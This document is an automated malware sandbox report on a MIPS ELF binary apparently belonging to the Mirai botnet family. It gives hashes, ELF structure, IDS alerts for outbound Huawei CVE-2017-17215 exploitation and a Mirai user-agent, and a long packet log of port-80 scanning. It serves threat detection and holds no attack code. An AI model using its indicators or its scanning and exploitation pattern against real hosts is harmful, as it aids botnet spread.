	Hilix.sh4.elf	Get hash	malicious	Unknown	Browse	80.34.106.205
	Hilix.spc.elf	Get hash	malicious	Unknown	Browse	88.29.209.142
	Hilix.m68k.elf	Get hash	malicious	Unknown	Browse	95.126.222.236
	Hilix.mpsl.elf	Get hash	malicious	Unknown	Browse	83.46.177.122
	Hilix.arm7.elf	Get hash	malicious	Mirai	Browse	80.24.212.163
	kre4per.arm.elf	Get hash	malicious	Unknown	Browse	83.39.50.173
	res.mips.elf	Get hash	malicious	Unknown	Browse	80.24.86.45
	armv4l.elf	Get hash	malicious	Unknown	Browse	37.13.212.122

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.528544541732253
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	mpsl.elf
File size:	101'680 bytes
MD5:	db432d28e56802dd938bd7eed7a5457a
SHA1:	93df962e2730d4b1701fc1e1e34b4f821740b193
SHA256:	575685964ad4478fd55de9f3be3bc49790202d582c938fbbc05373085b232a32
SHA512:	7fe59cde6b25a73ab5351166c7d656251e254d5cf46b537be2c8b91fd761beddd6e4b62f21d2572cb13325680c414da0fbbf0dc0e8c030b3f96812dd54cf6278
SSDEEP:	1536:9kkdyTy3yryaidLVeMLW96qzEx52rRlspIwVjDZiLcTNfkE:9kk0UMSJ9WwoEXqWjDp
TLSH:	F3A3C60ABF350FF7E86BDD3709A92B05198C551A22E97B367934C858F64B21F19E3C60
File Content Preview:	.ELF....................`.@.4...........4. ...(...............@...@.@}..@}....................E...E.................Q.td...............................<...'!......'.......................<...'!... .........9'.. ........................<x..'!........... f9

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	101120
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x16570	0x0	0x6	AX	16
.fini	PROGBITS	0x416690	0x16690	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x4166f0	0x166f0	0x1650	0x0	0x2	A	16
.ctors	PROGBITS	0x458000	0x18000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x458008	0x18008	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x458014	0x18014	0x404	0x0	0x3	WA	4
.data	PROGBITS	0x458420	0x18420	0x250	0x0	0x3	WA	16
.got	PROGBITS	0x458670	0x18670	0x42c	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x458a9c	0x18a9c	0x24	0x0	0x10000003	WAp	4
.bss	NOBITS	0x458ac0	0x18a9c	0x340	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x72c	0x18a9c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x18a9c	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x17d40	0x17d40	5.5499	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x18000	0x458000	0x458000	0xa9c	0xe00	4.3492	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-19T19:43:17.434934+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	44472	41.139.71.227	37215	TCP
2025-02-19T19:43:17.536852+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	38712	41.91.152.85	37215	TCP
2025-02-19T19:43:20.099654+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37882	112.209.25.241	80	TCP
2025-02-19T19:43:20.127985+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	37118	112.180.178.145	80	TCP
2025-02-19T19:43:20.231947+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	40198	41.190.149.92	37215	TCP
2025-02-19T19:43:20.289384+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.13	54428	41.223.83.199	37215	TCP
2025-02-19T19:43:20.310680+0100	2839471	ETPRO MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.13	57104	112.153.230.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 19, 2025 19:43:15.917304039 CET	27058	80	192.168.2.13	112.168.82.214
Feb 19, 2025 19:43:15.917376995 CET	27058	80	192.168.2.13	112.124.55.55
Feb 19, 2025 19:43:15.917417049 CET	27058	80	192.168.2.13	112.191.113.245
Feb 19, 2025 19:43:15.917417049 CET	27058	80	192.168.2.13	112.94.111.49
Feb 19, 2025 19:43:15.917499065 CET	27058	80	192.168.2.13	112.173.4.193
Feb 19, 2025 19:43:15.917494059 CET	27058	80	192.168.2.13	112.75.195.217
Feb 19, 2025 19:43:15.917504072 CET	27058	80	192.168.2.13	112.114.189.188
Feb 19, 2025 19:43:15.917505026 CET	27058	80	192.168.2.13	112.55.59.52
Feb 19, 2025 19:43:15.917515039 CET	27058	80	192.168.2.13	112.248.206.112
Feb 19, 2025 19:43:15.917526007 CET	27058	80	192.168.2.13	112.67.32.40
Feb 19, 2025 19:43:15.917531967 CET	27058	80	192.168.2.13	112.93.31.83
Feb 19, 2025 19:43:15.917541027 CET	27058	80	192.168.2.13	112.28.151.176
Feb 19, 2025 19:43:15.917541981 CET	27058	80	192.168.2.13	112.41.67.178
Feb 19, 2025 19:43:15.917552948 CET	27058	80	192.168.2.13	112.69.153.183
Feb 19, 2025 19:43:15.917555094 CET	27058	80	192.168.2.13	112.98.141.139
Feb 19, 2025 19:43:15.917566061 CET	27058	80	192.168.2.13	112.193.166.37
Feb 19, 2025 19:43:15.917562962 CET	27058	80	192.168.2.13	112.62.83.91
Feb 19, 2025 19:43:15.917562962 CET	27058	80	192.168.2.13	112.175.25.182
Feb 19, 2025 19:43:15.917582989 CET	27058	80	192.168.2.13	112.67.20.84
Feb 19, 2025 19:43:15.917601109 CET	27058	80	192.168.2.13	112.186.239.83
Feb 19, 2025 19:43:15.917623043 CET	27058	80	192.168.2.13	112.252.115.111
Feb 19, 2025 19:43:15.917623043 CET	27058	80	192.168.2.13	112.176.196.97
Feb 19, 2025 19:43:15.917634010 CET	27058	80	192.168.2.13	112.100.240.7
Feb 19, 2025 19:43:15.917644978 CET	27058	80	192.168.2.13	112.238.165.30
Feb 19, 2025 19:43:15.917678118 CET	27058	80	192.168.2.13	112.181.184.188
Feb 19, 2025 19:43:15.917705059 CET	27058	80	192.168.2.13	112.211.168.134
Feb 19, 2025 19:43:15.917711973 CET	27058	80	192.168.2.13	112.150.63.186
Feb 19, 2025 19:43:15.917728901 CET	27058	80	192.168.2.13	112.194.77.192
Feb 19, 2025 19:43:15.917748928 CET	27058	80	192.168.2.13	112.76.6.67
Feb 19, 2025 19:43:15.917762041 CET	27058	80	192.168.2.13	112.73.239.49
Feb 19, 2025 19:43:15.917776108 CET	27058	80	192.168.2.13	112.51.225.43
Feb 19, 2025 19:43:15.917792082 CET	27058	80	192.168.2.13	112.11.65.56
Feb 19, 2025 19:43:15.917828083 CET	27058	80	192.168.2.13	112.66.83.94
Feb 19, 2025 19:43:15.917844057 CET	27058	80	192.168.2.13	112.188.188.56
Feb 19, 2025 19:43:15.918026924 CET	27058	80	192.168.2.13	112.22.40.180
Feb 19, 2025 19:43:15.918051004 CET	27058	80	192.168.2.13	112.83.57.35
Feb 19, 2025 19:43:15.918066978 CET	27058	80	192.168.2.13	112.12.26.230
Feb 19, 2025 19:43:15.918073893 CET	27058	80	192.168.2.13	112.70.136.137
Feb 19, 2025 19:43:15.918087959 CET	27058	80	192.168.2.13	112.212.25.130
Feb 19, 2025 19:43:15.918092966 CET	27058	80	192.168.2.13	112.45.181.192
Feb 19, 2025 19:43:15.918109894 CET	27058	80	192.168.2.13	112.187.192.161
Feb 19, 2025 19:43:15.918138981 CET	27058	80	192.168.2.13	112.76.35.167
Feb 19, 2025 19:43:15.918138981 CET	27058	80	192.168.2.13	112.137.4.185
Feb 19, 2025 19:43:15.918152094 CET	27058	80	192.168.2.13	112.166.151.222
Feb 19, 2025 19:43:15.918152094 CET	27058	80	192.168.2.13	112.254.39.209
Feb 19, 2025 19:43:15.918162107 CET	27058	80	192.168.2.13	112.24.183.150
Feb 19, 2025 19:43:15.918169022 CET	27058	80	192.168.2.13	112.80.82.213
Feb 19, 2025 19:43:15.918188095 CET	27058	80	192.168.2.13	112.87.119.220
Feb 19, 2025 19:43:15.918201923 CET	27058	80	192.168.2.13	112.136.93.211
Feb 19, 2025 19:43:15.918212891 CET	27058	80	192.168.2.13	112.255.235.27
Feb 19, 2025 19:43:15.918239117 CET	27058	80	192.168.2.13	112.26.19.196
Feb 19, 2025 19:43:15.918258905 CET	27058	80	192.168.2.13	112.95.175.223
Feb 19, 2025 19:43:15.918272018 CET	27058	80	192.168.2.13	112.216.241.242
Feb 19, 2025 19:43:15.918299913 CET	27058	80	192.168.2.13	112.190.182.192
Feb 19, 2025 19:43:15.918318033 CET	27058	80	192.168.2.13	112.123.54.157
Feb 19, 2025 19:43:15.918332100 CET	27058	80	192.168.2.13	112.198.135.203
Feb 19, 2025 19:43:15.918344975 CET	27058	80	192.168.2.13	112.130.225.137
Feb 19, 2025 19:43:15.918354988 CET	27058	80	192.168.2.13	112.98.195.103
Feb 19, 2025 19:43:15.918368101 CET	27058	80	192.168.2.13	112.237.229.98
Feb 19, 2025 19:43:15.918386936 CET	27058	80	192.168.2.13	112.247.113.209
Feb 19, 2025 19:43:15.918394089 CET	27058	80	192.168.2.13	112.108.113.231
Feb 19, 2025 19:43:15.918406010 CET	27058	80	192.168.2.13	112.209.25.241
Feb 19, 2025 19:43:15.918417931 CET	27058	80	192.168.2.13	112.194.236.164
Feb 19, 2025 19:43:15.918431997 CET	27058	80	192.168.2.13	112.1.68.79
Feb 19, 2025 19:43:15.918433905 CET	27058	80	192.168.2.13	112.247.93.252
Feb 19, 2025 19:43:15.918456078 CET	27058	80	192.168.2.13	112.23.8.163
Feb 19, 2025 19:43:15.918459892 CET	27058	80	192.168.2.13	112.180.141.136
Feb 19, 2025 19:43:15.918483019 CET	27058	80	192.168.2.13	112.208.3.41
Feb 19, 2025 19:43:15.918498039 CET	27058	80	192.168.2.13	112.63.57.244
Feb 19, 2025 19:43:15.918508053 CET	27058	80	192.168.2.13	112.47.162.190
Feb 19, 2025 19:43:15.918534040 CET	27058	80	192.168.2.13	112.206.48.76
Feb 19, 2025 19:43:15.918539047 CET	27058	80	192.168.2.13	112.59.210.34
Feb 19, 2025 19:43:15.918540955 CET	27058	80	192.168.2.13	112.13.224.8
Feb 19, 2025 19:43:15.918551922 CET	27058	80	192.168.2.13	112.180.178.145
Feb 19, 2025 19:43:15.918564081 CET	27058	80	192.168.2.13	112.92.192.205
Feb 19, 2025 19:43:15.918586969 CET	27058	80	192.168.2.13	112.31.165.73
Feb 19, 2025 19:43:15.918598890 CET	27058	80	192.168.2.13	112.73.66.56
Feb 19, 2025 19:43:15.918612957 CET	27058	80	192.168.2.13	112.46.50.149
Feb 19, 2025 19:43:15.918621063 CET	27058	80	192.168.2.13	112.159.7.117
Feb 19, 2025 19:43:15.918633938 CET	27058	80	192.168.2.13	112.168.11.189
Feb 19, 2025 19:43:15.918653965 CET	27058	80	192.168.2.13	112.120.184.173
Feb 19, 2025 19:43:15.918664932 CET	27058	80	192.168.2.13	112.155.65.13
Feb 19, 2025 19:43:15.918685913 CET	27058	80	192.168.2.13	112.191.37.41
Feb 19, 2025 19:43:15.918699026 CET	27058	80	192.168.2.13	112.19.43.201
Feb 19, 2025 19:43:15.918723106 CET	27058	80	192.168.2.13	112.139.109.49
Feb 19, 2025 19:43:15.918729067 CET	27058	80	192.168.2.13	112.171.232.237
Feb 19, 2025 19:43:15.918749094 CET	27058	80	192.168.2.13	112.123.30.53
Feb 19, 2025 19:43:15.918764114 CET	27058	80	192.168.2.13	112.198.68.168
Feb 19, 2025 19:43:15.918783903 CET	27058	80	192.168.2.13	112.130.168.128
Feb 19, 2025 19:43:15.918797970 CET	27058	80	192.168.2.13	112.87.69.255
Feb 19, 2025 19:43:15.918812037 CET	27058	80	192.168.2.13	112.20.171.23
Feb 19, 2025 19:43:15.918821096 CET	27058	80	192.168.2.13	112.5.109.101
Feb 19, 2025 19:43:15.918832064 CET	27058	80	192.168.2.13	112.187.243.104
Feb 19, 2025 19:43:15.918853998 CET	27058	80	192.168.2.13	112.219.28.225
Feb 19, 2025 19:43:15.918854952 CET	27058	80	192.168.2.13	112.141.221.191
Feb 19, 2025 19:43:15.918858051 CET	27058	80	192.168.2.13	112.21.233.203
Feb 19, 2025 19:43:15.918886900 CET	27058	80	192.168.2.13	112.216.48.13
Feb 19, 2025 19:43:15.918905020 CET	27058	80	192.168.2.13	112.153.230.206
Feb 19, 2025 19:43:15.918905020 CET	27058	80	192.168.2.13	112.159.76.254
Feb 19, 2025 19:43:15.918905020 CET	27058	80	192.168.2.13	112.183.29.125
Feb 19, 2025 19:43:15.918905020 CET	27058	80	192.168.2.13	112.189.104.49
Feb 19, 2025 19:43:15.918922901 CET	27058	80	192.168.2.13	112.32.36.79
Feb 19, 2025 19:43:15.918955088 CET	27058	80	192.168.2.13	112.136.126.65
Feb 19, 2025 19:43:15.918965101 CET	27058	80	192.168.2.13	112.29.109.63
Feb 19, 2025 19:43:15.918984890 CET	27058	80	192.168.2.13	112.53.150.148
Feb 19, 2025 19:43:15.918987036 CET	27058	80	192.168.2.13	112.35.146.165
Feb 19, 2025 19:43:15.918994904 CET	27058	80	192.168.2.13	112.215.100.84
Feb 19, 2025 19:43:15.919006109 CET	27058	80	192.168.2.13	112.23.135.135
Feb 19, 2025 19:43:15.919015884 CET	27058	80	192.168.2.13	112.193.201.91
Feb 19, 2025 19:43:15.919025898 CET	27058	80	192.168.2.13	112.63.140.176
Feb 19, 2025 19:43:15.919054031 CET	27058	80	192.168.2.13	112.62.87.190
Feb 19, 2025 19:43:15.919060946 CET	27058	80	192.168.2.13	112.107.102.14
Feb 19, 2025 19:43:15.919080973 CET	27058	80	192.168.2.13	112.159.170.189
Feb 19, 2025 19:43:15.919086933 CET	27058	80	192.168.2.13	112.75.226.122
Feb 19, 2025 19:43:15.919087887 CET	27058	80	192.168.2.13	112.215.50.93
Feb 19, 2025 19:43:15.919096947 CET	27058	80	192.168.2.13	112.176.77.66
Feb 19, 2025 19:43:15.919115067 CET	27058	80	192.168.2.13	112.81.89.162
Feb 19, 2025 19:43:15.919126034 CET	27058	80	192.168.2.13	112.129.62.116
Feb 19, 2025 19:43:15.919126987 CET	27058	80	192.168.2.13	112.123.98.126
Feb 19, 2025 19:43:15.919132948 CET	27058	80	192.168.2.13	112.185.156.92
Feb 19, 2025 19:43:15.919157028 CET	27058	80	192.168.2.13	112.54.221.105
Feb 19, 2025 19:43:15.919162035 CET	27058	80	192.168.2.13	112.145.246.200
Feb 19, 2025 19:43:15.919183969 CET	27058	80	192.168.2.13	112.72.61.1
Feb 19, 2025 19:43:15.919200897 CET	27058	80	192.168.2.13	112.191.154.247
Feb 19, 2025 19:43:15.919215918 CET	27058	80	192.168.2.13	112.43.133.23
Feb 19, 2025 19:43:15.919238091 CET	27058	80	192.168.2.13	112.146.164.23
Feb 19, 2025 19:43:15.919254065 CET	27058	80	192.168.2.13	112.142.24.157
Feb 19, 2025 19:43:15.919276953 CET	27058	80	192.168.2.13	112.76.8.20
Feb 19, 2025 19:43:15.919291973 CET	27058	80	192.168.2.13	112.90.88.104
Feb 19, 2025 19:43:15.919301987 CET	27058	80	192.168.2.13	112.77.2.84
Feb 19, 2025 19:43:15.919322014 CET	27058	80	192.168.2.13	112.196.25.17
Feb 19, 2025 19:43:15.919348955 CET	27058	80	192.168.2.13	112.165.94.183
Feb 19, 2025 19:43:15.919348955 CET	27058	80	192.168.2.13	112.164.248.186
Feb 19, 2025 19:43:15.919363022 CET	27058	80	192.168.2.13	112.161.47.71
Feb 19, 2025 19:43:15.919367075 CET	27058	80	192.168.2.13	112.57.42.129
Feb 19, 2025 19:43:15.919379950 CET	27058	80	192.168.2.13	112.210.170.217
Feb 19, 2025 19:43:15.919392109 CET	27058	80	192.168.2.13	112.218.111.184
Feb 19, 2025 19:43:15.919404984 CET	27058	80	192.168.2.13	112.209.87.92
Feb 19, 2025 19:43:15.919414997 CET	27058	80	192.168.2.13	112.171.106.66
Feb 19, 2025 19:43:15.919424057 CET	27058	80	192.168.2.13	112.53.42.70
Feb 19, 2025 19:43:15.919435978 CET	27058	80	192.168.2.13	112.95.244.68
Feb 19, 2025 19:43:15.919449091 CET	27058	80	192.168.2.13	112.55.17.72
Feb 19, 2025 19:43:15.919449091 CET	27058	80	192.168.2.13	112.173.209.82
Feb 19, 2025 19:43:15.919464111 CET	27058	80	192.168.2.13	112.75.216.230
Feb 19, 2025 19:43:15.919481039 CET	27058	80	192.168.2.13	112.42.168.127
Feb 19, 2025 19:43:15.919486046 CET	27058	80	192.168.2.13	112.38.83.206
Feb 19, 2025 19:43:15.919488907 CET	27058	80	192.168.2.13	112.226.159.60
Feb 19, 2025 19:43:15.919502974 CET	27058	80	192.168.2.13	112.168.9.20
Feb 19, 2025 19:43:15.919524908 CET	27058	80	192.168.2.13	112.45.191.244
Feb 19, 2025 19:43:15.919533014 CET	27058	80	192.168.2.13	112.55.84.21
Feb 19, 2025 19:43:15.919534922 CET	27058	80	192.168.2.13	112.179.106.66
Feb 19, 2025 19:43:15.919559002 CET	27058	80	192.168.2.13	112.43.132.178
Feb 19, 2025 19:43:15.919572115 CET	27058	80	192.168.2.13	112.126.188.55
Feb 19, 2025 19:43:15.919572115 CET	27058	80	192.168.2.13	112.93.239.58
Feb 19, 2025 19:43:15.919578075 CET	27058	80	192.168.2.13	112.109.176.36
Feb 19, 2025 19:43:15.919595003 CET	27058	80	192.168.2.13	112.88.82.7
Feb 19, 2025 19:43:15.919599056 CET	27058	80	192.168.2.13	112.73.132.33
Feb 19, 2025 19:43:15.919605017 CET	27058	80	192.168.2.13	112.12.1.209
Feb 19, 2025 19:43:15.919610977 CET	27058	80	192.168.2.13	112.205.65.29
Feb 19, 2025 19:43:15.919624090 CET	27058	80	192.168.2.13	112.147.201.117
Feb 19, 2025 19:43:15.922904968 CET	80	27058	112.168.82.214	192.168.2.13
Feb 19, 2025 19:43:15.922921896 CET	80	27058	112.124.55.55	192.168.2.13
Feb 19, 2025 19:43:15.922935963 CET	80	27058	112.173.4.193	192.168.2.13
Feb 19, 2025 19:43:15.922945976 CET	27058	80	192.168.2.13	112.168.82.214
Feb 19, 2025 19:43:15.922966957 CET	27058	80	192.168.2.13	112.124.55.55
Feb 19, 2025 19:43:15.923082113 CET	27058	80	192.168.2.13	112.173.4.193
Feb 19, 2025 19:43:15.923166990 CET	80	27058	112.191.113.245	192.168.2.13
Feb 19, 2025 19:43:15.923181057 CET	80	27058	112.94.111.49	192.168.2.13
Feb 19, 2025 19:43:15.923198938 CET	27058	80	192.168.2.13	112.191.113.245
Feb 19, 2025 19:43:15.923213959 CET	27058	80	192.168.2.13	112.94.111.49
Feb 19, 2025 19:43:15.923226118 CET	80	27058	112.67.32.40	192.168.2.13
Feb 19, 2025 19:43:15.923242092 CET	80	27058	112.75.195.217	192.168.2.13
Feb 19, 2025 19:43:15.923255920 CET	80	27058	112.93.31.83	192.168.2.13
Feb 19, 2025 19:43:15.923257113 CET	27058	80	192.168.2.13	112.67.32.40
Feb 19, 2025 19:43:15.923269987 CET	80	27058	112.114.189.188	192.168.2.13
Feb 19, 2025 19:43:15.923271894 CET	27058	80	192.168.2.13	112.75.195.217
Feb 19, 2025 19:43:15.923283100 CET	80	27058	112.28.151.176	192.168.2.13
Feb 19, 2025 19:43:15.923286915 CET	27058	80	192.168.2.13	112.93.31.83
Feb 19, 2025 19:43:15.923295975 CET	80	27058	112.55.59.52	192.168.2.13
Feb 19, 2025 19:43:15.923309088 CET	80	27058	112.41.67.178	192.168.2.13
Feb 19, 2025 19:43:15.923322916 CET	27058	80	192.168.2.13	112.28.151.176
Feb 19, 2025 19:43:15.923331976 CET	27058	80	192.168.2.13	112.114.189.188
Feb 19, 2025 19:43:15.923331976 CET	27058	80	192.168.2.13	112.55.59.52
Feb 19, 2025 19:43:15.923401117 CET	27058	80	192.168.2.13	112.41.67.178
Feb 19, 2025 19:43:15.928060055 CET	80	27058	112.69.153.183	192.168.2.13
Feb 19, 2025 19:43:15.928105116 CET	27058	80	192.168.2.13	112.69.153.183
Feb 19, 2025 19:43:15.928168058 CET	80	27058	112.98.141.139	192.168.2.13
Feb 19, 2025 19:43:15.928195953 CET	80	27058	112.248.206.112	192.168.2.13
Feb 19, 2025 19:43:15.928210974 CET	27058	80	192.168.2.13	112.98.141.139
Feb 19, 2025 19:43:15.928220987 CET	80	27058	112.193.166.37	192.168.2.13
Feb 19, 2025 19:43:15.928244114 CET	80	27058	112.67.20.84	192.168.2.13
Feb 19, 2025 19:43:15.928267956 CET	27058	80	192.168.2.13	112.193.166.37
Feb 19, 2025 19:43:15.928268909 CET	27058	80	192.168.2.13	112.248.206.112
Feb 19, 2025 19:43:15.928288937 CET	80	27058	112.186.239.83	192.168.2.13
Feb 19, 2025 19:43:15.928328037 CET	80	27058	112.62.83.91	192.168.2.13
Feb 19, 2025 19:43:15.928340912 CET	80	27058	112.252.115.111	192.168.2.13
Feb 19, 2025 19:43:15.928344965 CET	27058	80	192.168.2.13	112.67.20.84
Feb 19, 2025 19:43:15.928344965 CET	27058	80	192.168.2.13	112.186.239.83
Feb 19, 2025 19:43:15.928354025 CET	80	27058	112.100.240.7	192.168.2.13
Feb 19, 2025 19:43:15.928370953 CET	80	27058	112.175.25.182	192.168.2.13
Feb 19, 2025 19:43:15.928371906 CET	27058	80	192.168.2.13	112.62.83.91
Feb 19, 2025 19:43:15.928378105 CET	27058	80	192.168.2.13	112.252.115.111
Feb 19, 2025 19:43:15.928385019 CET	27058	80	192.168.2.13	112.100.240.7
Feb 19, 2025 19:43:15.928396940 CET	80	27058	112.176.196.97	192.168.2.13
Feb 19, 2025 19:43:15.928401947 CET	27058	80	192.168.2.13	112.175.25.182
Feb 19, 2025 19:43:15.928417921 CET	80	27058	112.238.165.30	192.168.2.13
Feb 19, 2025 19:43:15.928431034 CET	27058	80	192.168.2.13	112.176.196.97
Feb 19, 2025 19:43:15.928447008 CET	80	27058	112.181.184.188	192.168.2.13
Feb 19, 2025 19:43:15.928459883 CET	80	27058	112.150.63.186	192.168.2.13
Feb 19, 2025 19:43:15.928472996 CET	80	27058	112.194.77.192	192.168.2.13
Feb 19, 2025 19:43:15.928486109 CET	80	27058	112.211.168.134	192.168.2.13
Feb 19, 2025 19:43:15.928499937 CET	80	27058	112.76.6.67	192.168.2.13
Feb 19, 2025 19:43:15.928504944 CET	27058	80	192.168.2.13	112.150.63.186
Feb 19, 2025 19:43:15.928510904 CET	27058	80	192.168.2.13	112.194.77.192
Feb 19, 2025 19:43:15.928513050 CET	80	27058	112.73.239.49	192.168.2.13
Feb 19, 2025 19:43:15.928513050 CET	27058	80	192.168.2.13	112.181.184.188
Feb 19, 2025 19:43:15.928524017 CET	27058	80	192.168.2.13	112.211.168.134
Feb 19, 2025 19:43:15.928525925 CET	27058	80	192.168.2.13	112.76.6.67
Feb 19, 2025 19:43:15.928529024 CET	80	27058	112.11.65.56	192.168.2.13
Feb 19, 2025 19:43:15.928534985 CET	27058	80	192.168.2.13	112.238.165.30
Feb 19, 2025 19:43:15.928543091 CET	80	27058	112.51.225.43	192.168.2.13
Feb 19, 2025 19:43:15.928550959 CET	27058	80	192.168.2.13	112.73.239.49
Feb 19, 2025 19:43:15.928555965 CET	80	27058	112.66.83.94	192.168.2.13
Feb 19, 2025 19:43:15.928560972 CET	27058	80	192.168.2.13	112.11.65.56
Feb 19, 2025 19:43:15.928569078 CET	80	27058	112.188.188.56	192.168.2.13
Feb 19, 2025 19:43:15.928580999 CET	80	27058	112.22.40.180	192.168.2.13
Feb 19, 2025 19:43:15.928586960 CET	27058	80	192.168.2.13	112.51.225.43
Feb 19, 2025 19:43:15.928586960 CET	27058	80	192.168.2.13	112.66.83.94
Feb 19, 2025 19:43:15.928594112 CET	80	27058	112.83.57.35	192.168.2.13
Feb 19, 2025 19:43:15.928606033 CET	27058	80	192.168.2.13	112.188.188.56
Feb 19, 2025 19:43:15.928606987 CET	80	27058	112.12.26.230	192.168.2.13
Feb 19, 2025 19:43:15.928620100 CET	80	27058	112.70.136.137	192.168.2.13
Feb 19, 2025 19:43:15.928628922 CET	27058	80	192.168.2.13	112.22.40.180
Feb 19, 2025 19:43:15.928641081 CET	80	27058	112.212.25.130	192.168.2.13
Feb 19, 2025 19:43:15.928643942 CET	27058	80	192.168.2.13	112.83.57.35
Feb 19, 2025 19:43:15.928653002 CET	80	27058	112.45.181.192	192.168.2.13
Feb 19, 2025 19:43:15.928674936 CET	27058	80	192.168.2.13	112.12.26.230
Feb 19, 2025 19:43:15.928678036 CET	27058	80	192.168.2.13	112.70.136.137
Feb 19, 2025 19:43:15.928678036 CET	27058	80	192.168.2.13	112.45.181.192
Feb 19, 2025 19:43:15.928680897 CET	27058	80	192.168.2.13	112.212.25.130
Feb 19, 2025 19:43:15.928746939 CET	80	27058	112.187.192.161	192.168.2.13
Feb 19, 2025 19:43:15.928761005 CET	80	27058	112.76.35.167	192.168.2.13
Feb 19, 2025 19:43:15.928772926 CET	80	27058	112.137.4.185	192.168.2.13
Feb 19, 2025 19:43:15.928786039 CET	80	27058	112.24.183.150	192.168.2.13
Feb 19, 2025 19:43:15.928798914 CET	80	27058	112.166.151.222	192.168.2.13
Feb 19, 2025 19:43:15.928811073 CET	80	27058	112.80.82.213	192.168.2.13
Feb 19, 2025 19:43:15.928827047 CET	80	27058	112.254.39.209	192.168.2.13
Feb 19, 2025 19:43:15.928828955 CET	27058	80	192.168.2.13	112.187.192.161
Feb 19, 2025 19:43:15.928832054 CET	27058	80	192.168.2.13	112.166.151.222
Feb 19, 2025 19:43:15.928833008 CET	27058	80	192.168.2.13	112.24.183.150
Feb 19, 2025 19:43:15.928837061 CET	27058	80	192.168.2.13	112.76.35.167
Feb 19, 2025 19:43:15.928837061 CET	27058	80	192.168.2.13	112.137.4.185
Feb 19, 2025 19:43:15.928839922 CET	27058	80	192.168.2.13	112.80.82.213
Feb 19, 2025 19:43:15.928850889 CET	80	27058	112.87.119.220	192.168.2.13
Feb 19, 2025 19:43:15.928855896 CET	27058	80	192.168.2.13	112.254.39.209
Feb 19, 2025 19:43:15.928864956 CET	80	27058	112.255.235.27	192.168.2.13
Feb 19, 2025 19:43:15.928878069 CET	80	27058	112.136.93.211	192.168.2.13
Feb 19, 2025 19:43:15.928883076 CET	27058	80	192.168.2.13	112.87.119.220
Feb 19, 2025 19:43:15.928894997 CET	80	27058	112.26.19.196	192.168.2.13
Feb 19, 2025 19:43:15.928901911 CET	27058	80	192.168.2.13	112.255.235.27
Feb 19, 2025 19:43:15.928925991 CET	80	27058	112.95.175.223	192.168.2.13
Feb 19, 2025 19:43:15.928929090 CET	27058	80	192.168.2.13	112.136.93.211
Feb 19, 2025 19:43:15.928940058 CET	80	27058	112.216.241.242	192.168.2.13
Feb 19, 2025 19:43:15.928951979 CET	80	27058	112.190.182.192	192.168.2.13
Feb 19, 2025 19:43:15.928966999 CET	80	27058	112.123.54.157	192.168.2.13
Feb 19, 2025 19:43:15.928977013 CET	27058	80	192.168.2.13	112.26.19.196
Feb 19, 2025 19:43:15.928985119 CET	80	27058	112.198.135.203	192.168.2.13
Feb 19, 2025 19:43:15.928985119 CET	27058	80	192.168.2.13	112.95.175.223
Feb 19, 2025 19:43:15.928987980 CET	27058	80	192.168.2.13	112.190.182.192
Feb 19, 2025 19:43:15.928992033 CET	27058	80	192.168.2.13	112.216.241.242
Feb 19, 2025 19:43:15.928996086 CET	27058	80	192.168.2.13	112.123.54.157
Feb 19, 2025 19:43:15.929006100 CET	80	27058	112.130.225.137	192.168.2.13
Feb 19, 2025 19:43:15.929018974 CET	80	27058	112.98.195.103	192.168.2.13
Feb 19, 2025 19:43:15.929019928 CET	27058	80	192.168.2.13	112.198.135.203
Feb 19, 2025 19:43:15.929033041 CET	80	27058	112.237.229.98	192.168.2.13
Feb 19, 2025 19:43:15.929037094 CET	27058	80	192.168.2.13	112.130.225.137
Feb 19, 2025 19:43:15.929045916 CET	80	27058	112.247.113.209	192.168.2.13
Feb 19, 2025 19:43:15.929045916 CET	27058	80	192.168.2.13	112.98.195.103
Feb 19, 2025 19:43:15.929059029 CET	80	27058	112.108.113.231	192.168.2.13
Feb 19, 2025 19:43:15.929073095 CET	80	27058	112.209.25.241	192.168.2.13
Feb 19, 2025 19:43:15.929085970 CET	80	27058	112.194.236.164	192.168.2.13
Feb 19, 2025 19:43:15.929097891 CET	80	27058	112.1.68.79	192.168.2.13
